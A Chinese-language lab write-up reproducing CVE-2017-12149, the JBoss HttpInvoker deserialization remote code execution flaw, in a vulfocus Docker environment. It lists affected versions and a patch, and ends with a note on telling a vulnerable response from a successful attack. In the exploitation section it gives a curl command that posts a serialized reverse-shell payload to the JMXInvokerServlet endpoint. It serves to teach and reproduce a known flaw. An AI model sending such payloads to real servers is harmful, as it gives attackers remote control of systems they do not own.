JBoss 5.x/6.x 反序列化 CVE-2017-12149 已亲自复现
- 漏洞名称
- 漏洞描述
- 影响版本
- 漏洞复现
- 环境搭建
- 漏洞利用
- 修复建议
- 总结
漏洞名称
漏洞描述
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
在 Red Hat Enterprise Application Platform 5.2 附带的 Jboss Application Server 中,发现 HTTP Invoker 的 ReadOnlyAccessFilter 中 doFilter 方法没有限制其执行反序列化的类,从而允许攻击者通过精心设计的序列化数据执行任意代码。
影响版本
Red Hat JBoss Enterprise Application Platform 5.0.0
Red Hat JBoss Enterprise Application Platform 5.0.1
Red Hat JBoss Enterprise Application Platform 5.1.0
Red Hat JBoss Enterprise Application Platform 5.1.1
Red Hat JBoss Enterprise Application Platform 5.1.2
Red Hat JBoss Enterprise Application Platform 5.2.0
Red Hat JBoss Enterprise Application Platform 5.2.1
Red Hat JBoss Enterprise Application Platform 5.2.2
漏洞复现
环境搭建
受害者IP:192.168.63.129:30678
攻击者IP:192.168.63.1
vulfocus下载链接
https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git
启动vulfocus
docker-compose up -d
环境启动后,访问http://192.168.63.129:30678即可看到一个jboss页面,说明已成功启动。
访问 JBoss漏洞页面,http://192.168.63.129:30678/invoker/readonly。如返回 HTTP Status 500,表示存在漏洞。
漏洞利用
生成payload的语法和顺序就不写了,快写吐了,看下面的文章,一样的payload。
https://blog.csdn.net/qq_42430287/article/details/135160729
执行curl命令,进行反弹shell。与前面不同的是,这里执行curl命令后,返回500状态码和错误信息。
curl http://192.168.63.129:30678/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
修复建议
Red Hat JBoss Enterprise Application Platform远程代码执行漏洞—联系厂商更新产品至版本>5.2.2
补丁链接:https://www.redhat.com/en/technologies/jboss-middleware/application-platform
总结
在http://192.168.63.129:30678/invoker/readonly页面时,返回500状态码,返回java.io.EOFException异常信息。
在攻击成功后,返回状态码为500,抛出ava.lang.ClassCastException异常信息。两次异常信息不同,可作为判断点。